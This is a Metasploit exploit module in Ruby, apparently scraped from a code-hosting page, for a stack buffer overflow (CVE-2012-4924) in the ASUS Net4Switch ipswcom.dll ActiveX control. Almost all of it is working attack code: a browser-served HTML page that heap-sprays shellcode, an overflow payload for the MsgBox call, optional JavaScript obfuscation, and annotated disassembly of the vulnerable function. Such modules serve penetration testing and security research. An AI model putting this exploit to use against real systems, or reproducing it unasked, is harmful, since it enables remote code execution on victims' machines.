Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info={})11super(update_info(info,12'Name' => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",13'Description' => %q{14This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll15ActiveX control. A buffer overflow condition is possible in multiple places due16to the use of the CxDbgPrint() function, which allows remote attackers to gain17arbitrary code execution under the context of the user.18},19'License' => MSF_LICENSE,20'Author' =>21[22'Dmitriy Evdokimov', #Initial discovery, poc23'sinn3r' #Metasploit24],25'References' =>26[27[ 'CVE', '2012-4924' ],28[ 'OSVDB', '79438' ],29[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]30],31'Payload' =>32{33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'DefaultOptions' =>37{38'EXITFUNC' => "seh",39'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',40},41'Platform' => 'win',42'Targets' =>43[44[ 'Automatic', {} ],45[ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],46[ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]47],48'Privileged' => false,49'DisclosureDate' => '2012-02-17',50'DefaultTarget' => 0))5152register_options(53[54OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])55])56end5758def get_target(agent)59return target if target.name != 'Automatic'6061if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/62return targets[1] #IE 6 on Windows XP SP363elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/64return targets[2] #IE 7 on Windows XP SP365else66return nil67end68end6970def on_request_uri(cli, request)71agent = request.headers['User-Agent']72my_target = get_target(agent)7374if my_target.nil?75print_error("Browser not supported: #{agent.to_s}")76send_not_found(cli)77return78end7980p = payload.encoded81js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))82nops = Rex::Text.to_unescape(make_nops(4))83randnop = rand_text_alpha(rand(100) + 1)8485spray = <<-JS86var heap_obj = new heapLib.ie(0x20000);87var code = unescape("#{js_code}");88var #{randnop} = "#{nops}";89var nops = unescape(#{randnop});9091while (nops.length < 0x80000) nops += nops;92var offset = nops.substring(0, #{my_target['Offset']});93var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);9495while (shellcode.length < 0x40000) shellcode += shellcode;96var block = shellcode.substring(0, (0x80000-6)/2);9798heap_obj.gc();99100for (var i=1; i < 0x300; i++) {101heap_obj.alloc(block);102}103JS104105spray = heaplib(spray, {:noobfu => true})106107js = <<-JS108var obj = new ActiveXObject("ipswcom.IPSWComItf");109110#{spray}111112function generate_padding(d, s) {113var tmp = d;114while (tmp.length < s) {115tmp += tmp;116}117var buf = tmp.substring(0, s/2);118tmp = null;119return buf;120}121122var arg1 = generate_padding(unescape("%u4141"), 4);123124var arg2 = "A"; // Expands to 0x0041, helps us to align the stack125arg2 += generate_padding(unescape("%u4343"), 2680);126arg2 += unescape("%u4242%u4242");127arg2 += unescape("%u0d0d%u0d0d");128arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);129130obj.MsgBox(arg1, arg2, 2);131JS132133#obfuscate on demand134if datastore['OBFUSCATE']135js = ::Rex::Exploitation::JSObfu.new(js)136js.obfuscate(memory_sensitive: true)137end138139html = <<-EOS140<html>141<head>142</head>143<body>144<script>145#{js}146</script>147</body>148</html>149EOS150151html = html.gsub(/\t\t/, '')152153print_status("Sending HTML")154send_response(cli, html, {'Content-Type'=>'text/html'})155156end157end158159=begin160Download:161http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html162163clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E164C:\Program Files\ASUS\Net4Switch\ipswcom.dll165166.text:10030523 push ecx167.text:10030524 mov eax, [ebp+arg_C]168.text:10030527 mov [ebp+var_4], eax169.text:1003052A cmp [ebp+var_4], 0170.text:1003052E jz short loc_10030541 <-- uType 10h171.text:10030530 cmp [ebp+var_4], 1172.text:10030534 jz short loc_10030573 <-- uType 44h173.text:10030536 cmp [ebp+var_4], 2174.text:1003053A jz short loc_100305A5 <-- CxDbgPrint175...176.text:100305A5 loc_100305A5: ; CODE XREF: MsgBox+1Aj177.text:100305A5 mov eax, [ebp+lpText]178.text:100305A8 push eax179.text:100305A9 push offset aIpsw_alertS ; "[IPSW_alert] = %s"180.text:100305AE push 0FFh181.text:100305B3 call ds:CxDbgPrint182=end183184185